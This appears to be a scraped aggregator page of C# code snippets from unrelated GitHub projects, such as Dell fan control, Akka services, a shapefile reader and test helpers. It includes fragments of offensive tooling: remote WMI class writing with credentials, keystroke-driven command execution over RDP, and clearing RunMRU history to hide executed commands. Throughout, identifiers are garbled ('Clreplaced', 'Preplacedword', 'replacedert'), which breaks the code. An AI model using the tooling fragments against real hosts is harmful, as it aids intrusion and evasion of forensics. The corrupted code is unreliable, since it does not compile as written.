                        fanLevel = BzhFanLevel.Level1;
                    }
                    else if (args[0] == "fan3-level2")
                    {
                        setFanLevel = true;
                        fanSelection = BzhFanIndex.Fan3;
                        fanLevel = BzhFanLevel.Level2;
                    }
                    else if (args[0] == "fan4-level0")
                    {
                        setFanLevel = true;
                        fanSelection = BzhFanIndex.Fan4;
                        fanLevel = BzhFanLevel.Level0;
                    }
                    else if (args[0] == "fan4-level1")
                    {
                        setFanLevel = true;
                        fanSelection = BzhFanIndex.Fan4;
                        fanLevel = BzhFanLevel.Level1;
                    }
                    else if (args[0] == "fan4-level2")
                    {
                        setFanLevel = true;
                        fanSelection = BzhFanIndex.Fan4;
                        fanLevel = BzhFanLevel.Level2;
                    }
                    else if (args[0] == "fan5-level0")
                    {
                        setFanLevel = true;
                        fanSelection = BzhFanIndex.Fan5;
                        fanLevel = BzhFanLevel.Level0;
                    }
                    else if (args[0] == "fan5-level1")
                    {
                        setFanLevel = true;
                        fanSelection = BzhFanIndex.Fan5;
                        fanLevel = BzhFanLevel.Level1;
                    }
                    else if (args[0] == "fan5-level2")
                    {
                        setFanLevel = true;
                        fanSelection = BzhFanIndex.Fan5;
                        fanLevel = BzhFanLevel.Level2;
                    }
                    else if (args[0] == "fan6-level0")
                    {
                        setFanLevel = true;
                        fanSelection = BzhFanIndex.Fan6;
                        fanLevel = BzhFanLevel.Level0;
                    }
                    else if (args[0] == "fan6-level1")
                    {
                        setFanLevel = true;
                        fanSelection = BzhFanIndex.Fan6;
                        fanLevel = BzhFanLevel.Level1;
                    }
                    else if (args[0] == "fan6-level2")
                    {
                        setFanLevel = true;
                        fanSelection = BzhFanIndex.Fan6;
                        fanLevel = BzhFanLevel.Level2;
                    }
                    else if (args[0] == "fan7-level0")
                    {
                        setFanLevel = true;
                        fanSelection = BzhFanIndex.Fan7;
                        fanLevel = BzhFanLevel.Level0;
                    }
                    else if (args[0] == "fan7-level1")
                    {
                        setFanLevel = true;
                        fanSelection = BzhFanIndex.Fan7;
                        fanLevel = BzhFanLevel.Level1;
                    }
                    else if (args[0] == "fan7-level2")
                    {
                        setFanLevel = true;
                        fanSelection = BzhFanIndex.Fan7;
                        fanLevel = BzhFanLevel.Level2;
                    }
                    else if (args[0] == "rpm-fan1")
                    {
                        getFanRpm = true;
                        fanSelection = BzhFanIndex.Fan1;
                    }
                    else if (args[0] == "rpm-fan2")
                    {
                        getFanRpm = true;
                        fanSelection = BzhFanIndex.Fan2;
                    }
                    else if (args[0] == "rpm-fan3")
                    {
                        getFanRpm = true;
                        fanSelection = BzhFanIndex.Fan3;
                    }
                    else if (args[0] == "rpm-fan4")
                    {
                        getFanRpm = true;
                        fanSelection = BzhFanIndex.Fan4;
                    }
                    else if (args[0] == "rpm-fan5")
                    {
                        getFanRpm = true;
                        fanSelection = BzhFanIndex.Fan5;
                    }
                    else if (args[0] == "rpm-fan6")
                    {
                        getFanRpm = true;
                        fanSelection = BzhFanIndex.Fan6;
                    }
                    else if (args[0] == "rpm-fan7")
                    {
                        getFanRpm = true;
                        fanSelection = BzhFanIndex.Fan7;
                    }
                    else if (args[0] == "test")
                    {
                        runTest = true;
                    }
                    else if (args[0] == "test-alt")
                    {
                        runTest = true;
                        useAlternateCommand = true;
                    }
                    else
                    {
                        Usage();
                        return -3;
                    }

                    // Execute request.

                    // Load driver first.
                    if (LoadDriver())
                    {
                        if (disableEcFanControl)
                        {
                            // Disable EC fan control.
                            Console.WriteLine("Attempting to disable EC control of the fan...");

                            bool success = DellSmbiosBzh.DisableAutomaticFanControl(useAlternateCommand);

                            if (!success)
                            {
                                Console.Error.WriteLine("Failed.");
                                UnloadDriver();
                                return -1;
                            }

                            Console.WriteLine(" ...Success.");

                            if (setFansToMax)
                            {
                                // Crank the fans up, for safety.
                                Console.WriteLine("Setting fan 1 speed to maximum...");
                                success = DellSmbiosBzh.SetFanLevel(BzhFanIndex.Fan1, BzhFanLevel.Level2);
                                if (!success)
                                {
                                    Console.Error.WriteLine("Failed.");
                                }

                                Console.WriteLine("Setting fan 2 speed to maximum...");
                                success = DellSmbiosBzh.SetFanLevel(BzhFanIndex.Fan2, BzhFanLevel.Level2);
                                if (!success)
                                {
                                    Console.Error.WriteLine("Failed.  (Maybe your system just has one fan?)");
                                }
                            }
                            else
                            {
                                Console.WriteLine("WARNING: CPU and GPU are not designed to run under load without active cooling.");
                                Console.WriteLine("Make sure that you have alternate fan speed control measures in place.");
                            }
                        }
                        else if (enableEcFanControl)
                        {
                            // Enable EC fan control.
                            Console.WriteLine("Attempting to enable EC control of the fan...");

                            bool success = DellSmbiosBzh.EnableAutomaticFanControl(useAlternateCommand);

                            if (!success)
                            {
                                Console.Error.WriteLine("Failed.");
                                UnloadDriver();
                                return -1;
                            }

                            Console.WriteLine(" ...Success.");
                        }
                        else if (setFanLevel)
                        {
                            // Set the fan to a specific level.
                            Console.WriteLine("Attempting to set the fan level...");
                            bool success = DellSmbiosBzh.SetFanLevel(fanSelection, fanLevel);

                            if (!success)
                            {
                                Console.Error.WriteLine("Failed.");
                                UnloadDriver();
                                return -1;
                            }

                            Console.WriteLine(" ...Success.");
                        }
                        else if (getFanRpm)
                        {
                            // Query the fan RPM.
                            Console.WriteLine("Attempting to query the fan RPM...");
                            uint? result = DellSmbiosBzh.GetFanRpm(fanSelection);

                            if (result == null)
                            {
                                Console.Error.WriteLine("Failed.");
                                UnloadDriver();
                                return -1;
                            }

                            Console.WriteLine(" Result: {0}", result);
                            if (result < int.MaxValue)
                            {
                                returnCode = int.Parse(result.ToString());
                            }
                            else
                            {
                                Console.WriteLine(" (Likely error)");
                                returnCode = -1;
                            }
                        }
                        else if (runTest)
                        {
                            // Test all of the fan levels and report RPMs.

                            uint? rpmIdleFan1;
                            uint? rpmLevel0Fan1;
                            uint? rpmLevel1Fan1;
                            uint? rpmLevel2Fan1;

                            uint? rpmIdleFan2 = null;
                            uint? rpmLevel0Fan2 = null;
                            uint? rpmLevel1Fan2 = null;
                            uint? rpmLevel2Fan2 = null;

                            int sleepInterval = 7500;
                            bool fan2Present = true;

                            // Disable EC fan control.
                            Console.WriteLine("Disabling EC fan control...");
                            DellSmbiosBzh.DisableAutomaticFanControl(useAlternateCommand);

                            // Query current idle fan levels.
                            rpmIdleFan1 = DellSmbiosBzh.GetFanRpm(BzhFanIndex.Fan1);
                            DellSmbiosBzh.SetFanLevel(BzhFanIndex.Fan1, BzhFanLevel.Level0);

                            rpmIdleFan2 = DellSmbiosBzh.GetFanRpm(BzhFanIndex.Fan2);
                            bool success = DellSmbiosBzh.SetFanLevel(BzhFanIndex.Fan2, BzhFanLevel.Level0);

                            if (!success)
                            {
                                // No fan 2?
                                fan2Present = false;
                                Console.WriteLine("Looks like fan 2 is not present, system only has one fan?");
                            }

                            // Measure fan 1.
                            Console.WriteLine("Measuring: Fan 1, level 0...");
                            Thread.Sleep(sleepInterval);
                            rpmLevel0Fan1 = DellSmbiosBzh.GetFanRpm(BzhFanIndex.Fan1);

                            Console.WriteLine("Measuring: Fan 1, level 1..."); 
                            DellSmbiosBzh.SetFanLevel(BzhFanIndex.Fan1, BzhFanLevel.Level1);
                            Thread.Sleep(sleepInterval);
                            rpmLevel1Fan1 = DellSmbiosBzh.GetFanRpm(BzhFanIndex.Fan1);

                            Console.WriteLine("Measuring: Fan 1, level 2..."); 
                            DellSmbiosBzh.SetFanLevel(BzhFanIndex.Fan1, BzhFanLevel.Level2);
                            Thread.Sleep(sleepInterval);
                            rpmLevel2Fan1 = DellSmbiosBzh.GetFanRpm(BzhFanIndex.Fan1);

                            DellSmbiosBzh.SetFanLevel(BzhFanIndex.Fan1, BzhFanLevel.Level0);

                            if (fan2Present)
                            {
                                // Measure fan 2.
                                Console.WriteLine("Measuring: Fan 2, level 0...");
                                rpmLevel0Fan2 = DellSmbiosBzh.GetFanRpm(BzhFanIndex.Fan2);

                                Console.WriteLine("Measuring: Fan 2, level 1..."); 
                                DellSmbiosBzh.SetFanLevel(BzhFanIndex.Fan2, BzhFanLevel.Level1);
                                Thread.Sleep(sleepInterval);
                                rpmLevel1Fan2 = DellSmbiosBzh.GetFanRpm(BzhFanIndex.Fan2);

                                Console.WriteLine("Measuring: Fan 2, level 2..."); 
                                DellSmbiosBzh.SetFanLevel(BzhFanIndex.Fan2, BzhFanLevel.Level2);
                                Thread.Sleep(sleepInterval);
                                rpmLevel2Fan2 = DellSmbiosBzh.GetFanRpm(BzhFanIndex.Fan2);
                            }

                            // Enable EC fan control.
                            Console.WriteLine("Enabling EC fan control...");
                            DellSmbiosBzh.EnableAutomaticFanControl(useAlternateCommand);

                            Console.WriteLine("Test procedure is finished.");
                            Console.WriteLine();
                            Console.WriteLine();

                            // Output results.
                            Console.WriteLine("Fan 1 initial speed: {0}", rpmIdleFan1);
                            if (fan2Present)
                            {
                                Console.WriteLine("Fan 2 initial speed: {0}", rpmIdleFan2);
                            }
                            Console.WriteLine();

                            Console.WriteLine("Fan 1 level 0 speed: {0}", rpmLevel0Fan1);
                            Console.WriteLine("Fan 1 level 1 speed: {0}", rpmLevel1Fan1);
                            Console.WriteLine("Fan 1 level 2 speed: {0}", rpmLevel2Fan1);
                            Console.WriteLine();

                            if (fan2Present)
                            {
                                Console.WriteLine("Fan 2 level 0 speed: {0}", rpmLevel0Fan2);
                                Console.WriteLine("Fan 2 level 1 speed: {0}", rpmLevel1Fan2);
                                Console.WriteLine("Fan 2 level 2 speed: {0}", rpmLevel2Fan2);
                                Console.WriteLine();
                            }
                        }

                        // Unload driver.
                        UnloadDriver();
                    }
                }
            }
            catch (DllNotFoundException)
            {
                Console.Error.WriteLine("Unable to load DellSmbiosBzh.dll");
                Console.Error.WriteLine("Make sure that the file is present.  If it is, install the required Visual C++ redistributable:");
                Console.Error.WriteLine("https://aka.ms/vs/16/release/vc_redist.x64.exe");
                returnCode = -1;
            }
            catch (Exception exception)
            {
                Console.Error.WriteLine("Error: {0}", exception.Message);
                Console.Error.WriteLine(exception.StackTrace);
                returnCode = -1;
                UnloadDriver();
            }

            return returnCode;
        }

19 View Source File : FLRPC.cs
License : GNU General Public License v3.0
Project Creator : 0x2b00b1e5

private static void OnConnectionEstablished(object sender, ConnectionEstablishedMessage args)
        {
            //This is called when a pipe connection is established. The connection is not ready yet, but we have at least found a valid pipe.
            Console.WriteLine("Pipe Connection Established. Valid on pipe #{0}", args.ConnectedPipe);
        }

19 View Source File : DellFanManagementApp.cs
License : GNU General Public License v3.0
Project Creator : AaronKelley

[STAThread]
        static int Main(string[] args)
        {
            if (args.Length == 0)
            {
                // GUI mode.
                try
                {
                    if (UacHelper.IsProcessElevated())
                    {
                        // Looks like we're ready to start up the GUI app.
                        // Set process priority to high.
                        Process.GetCurrentProcess().PriorityClreplaced = ProcessPriorityClreplaced.High;

                        // Boilerplate code to start the app.
                        Application.SetHighDpiMode(HighDpiMode.DpiUnaware);
                        Application.EnableVisualStyles();
                        Application.SetCompatibleTextRenderingDefault(false);
                        Application.Run(new DellFanManagementGuiForm());
                    }
                    else
                    {
                        MessageBox.Show("This program must be run with administrative privileges.", "Dell Fan Management privilege check", MessageBoxButtons.OK, MessageBoxIcon.Error);
                    }
                }
                catch (Exception exception)
                {
                    MessageBox.Show(string.Format("{0}: {1}\n{2}", exception.GetType().ToString(), exception.Message, exception.StackTrace),
                        "Error starting application", MessageBoxButtons.OK, MessageBoxIcon.Error);
                    return 1;
                }

                return 0;
            }
            else
            {
                // CMD mode.
                try
                {
                    Console.WriteLine("Dell Fan Management, version {0}", Version);
                    Console.WriteLine("By Aaron Kelley");
                    Console.WriteLine("Licensed under GPLv3");
                    Console.WriteLine("Source code available at https://github.com/AaronKelley/DellFanManagement");
                    Console.WriteLine();

                    if (UacHelper.IsProcessElevated())
                    {
                        if (args[0].ToLower() == "packagetest")
                        {
                            return PackageTest.RunPackageTests() ? 0 : 1;
                        }
                        else if (args[0].ToLower() == "setthermalsetting")
                        {
                            return SetThermalSetting.ExecuteSetThermalSetting(args);
                        }
                        else if (args[0].ToLower() == "smi-token-dump")
                        {
                            return SmiTokenDump();
                        }
                        else if (args[0].ToLower() == "smi-get-token")
                        {
                            return SmiGetToken(args);
                        }
                        else if (args[0].ToLower() == "smi-set-token")
                        {
                            return SmiSetToken(args);
                        }
                        else
                        {
                            Console.WriteLine("Dell SMM I/O driver by 424778940z");
                            Console.WriteLine("https://github.com/424778940z/bzh-windrv-dell-smm-io");
                            Console.WriteLine();
                            Console.WriteLine("Derived from \"Dell fan utility\" by 424778940z");
                            Console.WriteLine("https://github.com/424778940z/dell-fan-utility");
                            Console.WriteLine();

                            return DellFanCmd.ProcessCommand(args);
                        }
                    }
                    else
                    {
                        Console.WriteLine();
                        Console.WriteLine("This program must be run with administrative privileges.");
                        return 1;
                    }
                }
                catch (Exception exception)
                {
                    Console.Error.WriteLine("{0}: {1}\n{2}", exception.GetType().ToString(), exception.Message, exception.StackTrace);
                    return 1;
                }
            }
        }

19 View Source File : Program.cs
License : GNU General Public License v3.0
Project Creator : 0xthirteen

static void WriteToWMIClreplaced(string host, string username, string preplacedword, string wnamespace, string clreplacedname)
        {
            ConnectionOptions options = new ConnectionOptions();
            Console.WriteLine("[+] Target             : {0}", host);
            if (!String.IsNullOrEmpty(username))
            {
                Console.WriteLine("[+] User               : {0}", username);
                options.Username = username;
                options.Preplacedword = preplacedword;
            }
            Console.WriteLine();
            ManagementScope scope = new ManagementScope(String.Format("\\\\{0}\\{1}", host, wnamespace), options);
            try
            {
                scope.Connect();
                Console.WriteLine("[+] WMI connection established");
            }
            catch (Exception ex)
            {
                Console.WriteLine("[X] Failed to connecto to WMI    : {0}", ex.Message);
                return;
            }
            try
            {
                var nclreplaced = new ManagementClreplaced(scope, new ManagementPath(string.Empty), new ObjectGetOptions());
                nclreplaced["__CLreplaced"] = clreplacedname;
                nclreplaced.Qualifiers.Add("Static", true);
                nclreplaced.Properties.Add("WinVal", CimType.String, false);
                nclreplaced.Properties["WinVal"].Qualifiers.Add("read", true);
                nclreplaced["WinVal"] = datavals;
                //nclreplaced.Properties.Add("Sizeof", CimType.String, false);
                //nclreplaced.Properties["Sizeof"].Qualifiers.Add("read", true);
                //nclreplaced.Properties["Sizeof"].Qualifiers.Add("Description", "Value needed for Windows");
                nclreplaced.Put();

                Console.WriteLine("[+] Create WMI Clreplaced     :   {0} {1}", wnamespace, clreplacedname);
            }
            catch (Exception ex)
            {
                Console.WriteLine(String.Format("[X] Error     :  {0}", ex.Message));
                return;
            }
        }

19 View Source File : DellFanManagementApp.cs
License : GNU General Public License v3.0
Project Creator : AaronKelley

private static int SmiSetToken(string[] args)
        {
            uint token = uint.Parse(args[1], NumberStyles.HexNumber);
            uint targetValue = uint.Parse(args[2]);

            Console.WriteLine("Setting token {0:X4} to value {1}", token, targetValue);

            uint? currentValue = DellSmbiosSmi.GetTokenCurrentValue((Token)token);

            if (currentValue != null)
            {
                Console.WriteLine("  Current value: {0}", currentValue);
            }
            else
            {
                Console.WriteLine("  Failed to read current value.  Trying to set anyway.");
            }

            if (DellSmbiosSmi.SetToken((Token)token, targetValue))
            {
                Console.WriteLine("  Set token successfully.");

                currentValue = DellSmbiosSmi.GetTokenCurrentValue((Token)token);
                if (currentValue != null)
                {
                    Console.WriteLine("  Current value: {0}", currentValue);

                    if (currentValue == targetValue)
                    {
                        return 0;
                    }
                    else if (currentValue != null)
                    {
                        Console.WriteLine("  ...It appears that the value was not set as expected.");
                        return 1;
                    }
                    else
                    {
                        return 0;
                    }
                }
                else
                {
                    Console.WriteLine("  Failed to read new value.");
                    return 1;
                }
            }
            else
            {
                Console.WriteLine("  Failed to set value.");
                return 1;
            }
        }

19 View Source File : Program.cs
License : Apache License 2.0
Project Creator : Aaronontheweb

static int Main(string[] args)
        {
            var mongoConnectionString = Environment.GetEnvironmentVariable("MONGO_CONNECTION_STR")?.Trim();
            if (string.IsNullOrEmpty(mongoConnectionString))
            {
                Console.WriteLine("ERROR! MongoDb connection string not provided. Can't start.");
                return -1;
            }
            else
            {
                Console.WriteLine("Connecting to MongoDb at {0}", mongoConnectionString);
            }

            var config = File.ReadAllText("app.conf");
            var conf = ConfigurationFactory.ParseString(config).WithFallback(GetMongoHocon(mongoConnectionString))
                .WithFallback(OpsConfig.GetOpsConfig())
                .WithFallback(ClusterSharding.DefaultConfig())
                .WithFallback(DistributedPubSub.DefaultConfig());

            var actorSystem = ActorSystem.Create("AkkaPricing", conf.BootstrapFromDocker());
            var readJournal = actorSystem.ReadJournalFor<MongoDbReadJournal>(MongoDbReadJournal.Identifier);
            var priceViewMaster = actorSystem.ActorOf(Props.Create(() => new PriceViewMaster()), "prices");

            Cluster.Cluster.Get(actorSystem).RegisterOnMemberUp(() =>
            {
            var sharding = ClusterSharding.Get(actorSystem);

            var shardRegion = sharding.Start("priceAggregator",
                s => Props.Create(() => new MatchAggregator(s, readJournal)),
                ClusterShardingSettings.Create(actorSystem),
                new StockShardMsgRouter());

            // used to seed pricing data
            var singleton = ClusterSingletonManager.Props(
                Props.Create(() => new PriceInitiatorActor(readJournal, shardRegion)),
                ClusterSingletonManagerSettings.Create(
                    actorSystem.Settings.Config.GetConfig("akka.cluster.price-singleton")));

                // start the creation of the pricing views
                priceViewMaster.Tell(new PriceViewMaster.BeginTrackPrices(shardRegion));
            });

            // start Petabridge.Cmd (for external monitoring / supervision)
            var pbm = PetabridgeCmd.Get(actorSystem);
            void RegisterPalette(CommandPaletteHandler h)
            {
                if (pbm.RegisterCommandPalette(h))
                {
                    Console.WriteLine("Petabridge.Cmd - Registered {0}", h.Palette.ModuleName);
                }
                else
                {
                    Console.WriteLine("Petabridge.Cmd - DID NOT REGISTER {0}", h.Palette.ModuleName);
                }
            }


            RegisterPalette(ClusterCommands.Instance);
            RegisterPalette(RemoteCommands.Instance);
            RegisterPalette(ClusterShardingCommands.Instance);
            RegisterPalette(new PriceCommands(priceViewMaster));
            pbm.Start();

            actorSystem.WhenTerminated.Wait();
            return 0;
        }

19 View Source File : Program.cs
License : GNU General Public License v3.0
Project Creator : 0xthirteen

static void RemoveWMIClreplaced(string host, string username, string preplacedword, string wnamespace, string clreplacedname)
        {
            if (!String.IsNullOrEmpty(wnamespace))
            {
                wnamespace = "root\\CIMv2";
            }
            if (!String.IsNullOrEmpty(host))
            {
                host = "127.0.0.1";
            }
            ConnectionOptions options = new ConnectionOptions();
            Console.WriteLine("[+] Target             : {0}", host);
            if (!String.IsNullOrEmpty(username))
            {
                Console.WriteLine("[+] User               : {0}", username);
                options.Username = username;
                options.Preplacedword = preplacedword;
            }
            Console.WriteLine();
            ManagementScope scope = new ManagementScope(String.Format("\\\\{0}\\{1}", host, wnamespace), options);
            try
            {
                scope.Connect();
                Console.WriteLine("[+]  WMI connection established");
            }
            catch (Exception ex)
            {
                Console.WriteLine("[X] Failed to connecto to WMI    : {0}", ex.Message);
                return;
            }
            try
            {
                var rmclreplaced = new ManagementClreplaced(scope, new ManagementPath(clreplacedname), new ObjectGetOptions());
                rmclreplaced.Delete();
            }
            catch (Exception ex)
            {
                Console.WriteLine(String.Format("[-] {0}", ex.Message));
                return;
            }
        }

19 View Source File : Program.cs
License : Microsoft Public License
Project Creator : abfo

static void Main(string[] args)
        {
            // Preplaced the path to the shapefile in as the command line argument
            if ((args.Length == 0) || (!File.Exists(args[0])))
            {
                Console.WriteLine("Usage: ShapefileDemo <shapefile.shp>");
                return;
            }

            // construct shapefile with the path to the .shp file
            using (Shapefile shapefile = new Shapefile(args[0]))
            {
                Console.WriteLine("ShapefileDemo Dumping {0}", args[0]);
                Console.WriteLine();

                // a shapefile contains one type of shape (and possibly null shapes)
                Console.WriteLine("Type: {0}, Shapes: {1:n0}", shapefile.Type, shapefile.Count);

                // a shapefile also defines a bounding box for all shapes in the file
                Console.WriteLine("Bounds: {0},{1} -> {2},{3}",
                    shapefile.BoundingBox.Left,
                    shapefile.BoundingBox.Top,
                    shapefile.BoundingBox.Right,
                    shapefile.BoundingBox.Bottom);
                Console.WriteLine();

                // enumerate all shapes
                foreach (Shape shape in shapefile)
                {
                    Console.WriteLine("----------------------------------------");
                    Console.WriteLine("Shape {0:n0}, Type {1}", shape.RecordNumber, shape.Type);

                    // each shape may have replacedociated metadata
                    string[] metadataNames = shape.GetMetadataNames();
                    if (metadataNames != null)
                    {
                        Console.WriteLine("Metadata:");
                        foreach (string metadataName in metadataNames)
                        {
                            Console.WriteLine("{0}={1} ({2})", metadataName, shape.GetMetadata(metadataName), shape.DataRecord.GetDataTypeName(shape.DataRecord.GetOrdinal(metadataName)));
                        }
                        Console.WriteLine();
                    }

                    // cast shape based on the type
                    switch (shape.Type)
                    {
                        case ShapeType.Point:
                            // a point is just a single x/y point
                            ShapePoint shapePoint = shape as ShapePoint;
                            Console.WriteLine("Point={0},{1}", shapePoint.Point.X, shapePoint.Point.Y);
                            break;

                        case ShapeType.Polygon:
                            // a polygon contains one or more parts - each part is a list of points which
                            // are clockwise for boundaries and anti-clockwise for holes 
                            // see http://www.esri.com/library/whitepapers/pdfs/shapefile.pdf
                            ShapePolygon shapePolygon = shape as ShapePolygon;
                            foreach (PointD[] part in shapePolygon.Parts)
                            {
                                Console.WriteLine("Polygon part:");
                                foreach (PointD point in part)
                                {
                                    Console.WriteLine("{0}, {1}", point.X, point.Y);
                                }
                                Console.WriteLine();
                            }
                            break;

                        default:
                            // and so on for other types...
                            break;
                    }

                    Console.WriteLine("----------------------------------------");
                    Console.WriteLine();
                }

            }

            Console.WriteLine("Done");
            Console.WriteLine();
        }

19 View Source File : FLRPC.cs
License : GNU General Public License v3.0
Project Creator : 0x2b00b1e5

private static void OnConnectionFailed(object sender, ConnectionFailedMessage args)
        {
            //This is called when the client fails to establish a connection to discord. 
            // It can be replacedumed that Discord is unavailable on the supplied pipe.
            Console.WriteLine("Pipe Connection Failed. Could not connect to pipe #{0}", args.FailedPipe);
            Active = false;
        }

19 View Source File : EventHost.cs
License : MIT License
Project Creator : ad313

private void Cus1(IConnection connection, IModel channel)
        {
            var exchangeName = "aaa";
            channel.ExchangeDeclare(exchangeName, "fanout");

            // 获取一个临时队列
            var queueName = channel.QueueDeclare().QueueName;
            // 把刚刚获取的队列绑定到logs这个交换中心上,fanout类型忽略routingKey,所以第三个参数为空
            channel.QueueBind(queueName, exchangeName, "");

            var consumer = new EventingBasicConsumer(channel);
            consumer.Received += (model, ea) =>
            {
                var body = ea.Body;
                var message = Encoding.UTF8.GetString(body.ToArray());
                Console.WriteLine(" [1] Received {0}", message);

                channel.BasicAck(deliveryTag: ea.DeliveryTag, multiple: false);
            };
            channel.BasicConsume(queue: queueName, autoAck: false, consumer: consumer);
        }

19 View Source File : Client.cs
License : BSD 3-Clause "New" or "Revised" License
Project Creator : 0xthirteen

private void RunRun()
        {
            if(runtype == "taskmgr")
            {
                Console.WriteLine("[+] Running task manager");
                Thread.Sleep(500);
                SendText("taskmgr");
                Thread.Sleep(1000);

                Thread.Sleep(500);
                SendElement("Enter+down");
                Thread.Sleep(500);
                SendElement("Enter+up");

                SendElement("Alt+F");
                Thread.Sleep(1000);

                SendElement("Enter+down");
                Thread.Sleep(500);
                SendElement("Enter+up");
                Thread.Sleep(500);
            }

            Console.WriteLine("[+] Executing {0}", cmd.ToLower());
            SendText(cmd.ToLower());
            Thread.Sleep(1000);

            if (runtype == "taskmgr")
            {
                SendElement("Tab");
                Thread.Sleep(500);
                SendElement("Space");
                Thread.Sleep(500);
            }

            if(runtype == "winr")
            {
                //Currently bugged - does not run elevated
                SendElement("Ctrl+Shift+down");
                Thread.Sleep(500);
                SendElement("Enter+down");
                Thread.Sleep(250);
                SendElement("Enter+up");
                Thread.Sleep(500);
                SendElement("Ctrl+Shift+up");
                Thread.Sleep(500);
            }
            else
            {
                SendElement("Enter+down");
                Thread.Sleep(500);
                SendElement("Enter+up");
                Thread.Sleep(250);
            }

            if (isdrive == true)
            {
                SendElement("Left");
                Thread.Sleep(500);
                SendElement("Enter+down");
                Thread.Sleep(500);
                SendElement("Enter+up");
            }
            
            if (runtype == "winr")
            {
                SendElement("Left");
                Thread.Sleep(500);
                SendElement("Enter+down");
                Thread.Sleep(500);
                SendElement("Enter+up");
            }
            if (runtype == "taskmgr")
            {
                Thread.Sleep(250);
                SendElement("Alt+F4");
            }
        }

19 View Source File : ResourceTestBase.cs
License : MIT License
Project Creator : adrianoc

protected void replacedertResourceTestWithExplicitExpectation(string resourceName, string methodSignature)
        {
            using (var tbc = ReadResource(resourceName, "cs", TestKind.Integration))
            using (var expectedILStream = ReadResource(resourceName, "cs.il", TestKind.Integration))
            {
                var expectedIL = ReadToEnd(expectedILStream);

                var actualreplacedemblyPath = Path.Combine(Path.GetTempPath(), "CecilifierTests/", resourceName + ".dll");

                replacedertResourceTestWithExplicitExpectedIL(actualreplacedemblyPath, expectedIL, methodSignature, tbc);

                Console.WriteLine();
                Console.WriteLine("Expected IL: {0}", expectedIL);
                Console.WriteLine("Actual replacedembly path : {0}", actualreplacedemblyPath);
            }
        }

19 View Source File : Program.cs
License : MIT License
Project Creator : 0ffffffffh

static bool Run(string process, string args)
        {

            if (!File.Exists(process))
            {
                Console.WriteLine("{0} not found. Process creation failed.", process);
                return false;
            }

            ProcessStartInfo psi = new ProcessStartInfo(process, args)
            {
                UseShellExecute = true
            };

            return Process.Start(psi) != null;
        }

19 View Source File : ResourceTestBase.cs
License : MIT License
Project Creator : adrianoc

private void replacedertResourceTest(string resourceName, IreplacedemblyDiffVisitor visitor, bool buildAsExe, Stream tbc)
        {
            var cecilifierTestsFolder = Path.Combine(Path.GetTempPath(), "CecilifierTests");

            var cecilifiedreplacedemblyPath = Path.Combine(cecilifierTestsFolder, resourceName + ".dll");
            var resourceCompiledreplacedemblyPath = CompileExpectedTestreplacedembly(cecilifiedreplacedemblyPath, buildAsExe, ReadToEnd(tbc));

            Console.WriteLine();
            Console.WriteLine("Compiled from res        : {0}", resourceCompiledreplacedemblyPath);
            Console.WriteLine("Generated from Cecilifier: {0}", cecilifiedreplacedemblyPath);

            replacedertResourceTest(cecilifiedreplacedemblyPath, resourceCompiledreplacedemblyPath, tbc, visitor);
        }

19 View Source File : Client.cs
License : BSD 3-Clause "New" or "Revised" License
Project Creator : 0xthirteen

private void RdpConnectionOnOnLoginComplete(object sender, EventArgs e)
        {
            var rdpSession = (AxMsRdpClient9NotSafeForScripting)sender;
            Console.WriteLine("[+] Connected to          :  {0}", target);
            Thread.Sleep(1000);
            keydata = (IMsRdpClientNonScriptable)rdpSession.GetOcx();

            if (LogonErrorCode == -2)
            {
                Console.WriteLine("[+] User not currently logged in, creating new session");
                Task.Delay(10000).GetAwaiter().GetResult();
            }

            string privinfo = "non-elevated";
            if (runtype != string.Empty)
            {
                privinfo = "elevated";
            }
            Console.WriteLine("[+] Execution priv type   :  {0}", privinfo);
            Thread.Sleep(1000);

            SendElement("Win+R+down");
            Thread.Sleep(500);
            SendElement("Win+R+up");
            Thread.Sleep(1000);

            if (execwith == "cmd")
            {
                RunConsole("cmd.exe");
            }
            else if (execwith == "powershell" || execwith == "ps")
            {
                RunConsole("powershell.exe");
            }
            else
            {
                RunRun();
            }

            Thread.Sleep(1000);
            Console.WriteLine("[+] Disconnecting from    :  {0}", target);
            rdpSession.Disconnect();
        }

19 View Source File : RedisLite.cs
License : MIT License
Project Creator : AElfProject

[Conditional("DEBUG_REDIS")]
        protected void Log(string fmt, params object[] args)
        {
            Console.WriteLine("{0}", string.Format(fmt, args).Trim());
        }

19 View Source File : Program.cs
License : BSD 3-Clause "New" or "Revised" License
Project Creator : 0xthirteen

static void Clereplacedl()
        {
            try
            {
                string keypath = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU";
                Console.WriteLine("HKCU:{0}", keypath);
                RegistryKey regkey;
                regkey = Registry.CurrentUser.OpenSubKey(keypath, true);
                if (regkey.ValueCount > 0)
                {
                    foreach (string subKey in regkey.GetValueNames())
                    {
                        regkey.DeleteValue(subKey);
                    }
                }
                Console.WriteLine("[+] Cleaned all RunMRU values");
                regkey.Close();
            }
            catch (Exception ex)
            {
                Console.WriteLine("[-] Error: {0}", ex.Message);
            }
        }

19 View Source File : Build.cs
License : GNU General Public License v3.0
Project Creator : Aetsu

public static string BuildTool(string solutionPath, string toolName)
        {
            string finalPath = string.Empty;
            string text = System.IO.File.ReadAllText(Path.Combine(new string[] { Directory.GetCurrentDirectory(), "Resources", "template_build.bat" }));
            string buildOptions = "/p:Platform=\"Any CPU\"";
            solutionPath = Path.Combine(new string[] { Directory.GetCurrentDirectory(), "GitTools", solutionPath });
            string outputDir = Path.Combine(new string[] { Directory.GetCurrentDirectory(), "Output" });
            if (File.Exists(solutionPath))
            {

                Console.ForegroundColor = ConsoleColor.Yellow;
                Console.WriteLine("     Solving dependences with nuget...");
                Console.ResetColor();
                if (Helpers.ExecuteCommand(@"Resources\nuget.exe restore " + solutionPath) != 0)
                {
                    Console.ForegroundColor = ConsoleColor.Red;
                    Console.WriteLine("         Error -> nuget.exe: {0}", solutionPath);
                    Console.ResetColor();
                }
                finalPath = Path.Combine(new string[] { outputDir, toolName + "_" + Helpers.GetRandomString() });

                text = text.Replace("{{SOLUTION_PATH}}", solutionPath);
                text = text.Replace("{{BUILD_OPTIONS}}", buildOptions);
                text = text.Replace("{{OUTPUT_DIR}}", finalPath);
                string batPath = Path.Combine(new string[] { Path.GetDirectoryName(solutionPath), "buildSolution.bat" });
                File.WriteAllText(batPath, text);
                Console.ForegroundColor = ConsoleColor.Yellow;
                Console.WriteLine("     Building solution...");
                Console.ResetColor();
                if (Helpers.ExecuteCommand(batPath) != 0)
                {
                    Console.ForegroundColor = ConsoleColor.Red;
                    Console.WriteLine("         Error -> msbuild.exe: {0}", solutionPath);
